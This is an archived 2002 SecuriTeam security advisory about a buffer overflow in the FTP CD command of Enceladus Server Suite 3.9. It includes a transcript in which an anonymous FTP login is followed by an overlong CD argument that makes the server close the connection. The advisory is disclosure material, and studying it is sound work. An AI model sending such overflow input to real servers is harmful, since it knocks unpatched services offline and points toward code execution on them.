[NT] Enceladus Server Suite Buffer Overflow Vulnerability

From: support@securiteam.com
Date: 12/11/02

  • Next message: list-subscribe: "Have a excite Christmas"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 11 Dec 2002 11:31:25 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Enceladus Server Suite Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mollensoft.com/> Enceladus Server Suite is an
    Internet/Intranet lightweight Web and FTP Server for Windows, provides
    secure file sharing on any network. Perfect for Broadband, Cable Modem,
    Small business and Personal Use. You don't have to be an expert to setup
    file sharing or run your own web site and FTP Server. This Server Suite is
    One of the Easiest To Install and Operate.

    A vulnerability in the product allows remote attackers to cause the
    program to overflow one of its internal buffers.

    DETAILS

    Vulnerable systems:
    Enceladus Server Suite version 3.9

    Enceladus Server Suite is vulnerable to a buffer overflow condition. An
    attacker may supply a long sequence of characters as an argument to "CD"
    command. If the length of the supplied string exceeds the size of its
    input buffer, the excess data will overwrite other variables on the stack
    and the stack frame itself. It is possible for a malicious user to craft a
    request that will result in code execution on the vulnerable system.

    Analysis:
    An analysis for this vulnerability exists and is available below.

    ts@metacortex:~$ ftp 192.168.10.2
    Connected to 192.168.10.2.
    220 Mollensoft FTP Server Ready.
    Name (192.168.10.2:ts): anonymous
    331 Password required for anonymous.
    Password:
    230 User anonymous logged in.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    500 'EPSV': command not understood.
    227 Entering Passive Mode (192,168,10,2,6,160)
    150 Data connection open for PASV transfer.
    - -rwxr-xr-x 1 User Group 6468 Feb 17 01:13 index.html
    - -rwxr-xr-x 1 User Group 70 Oct 31 04:52 readme.txt
    226 Listing complete.
    ftp> cd @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@
    421 Service not available, remote server has closed connection.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ts@securityoffice.net> Tamer
    Sahin.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages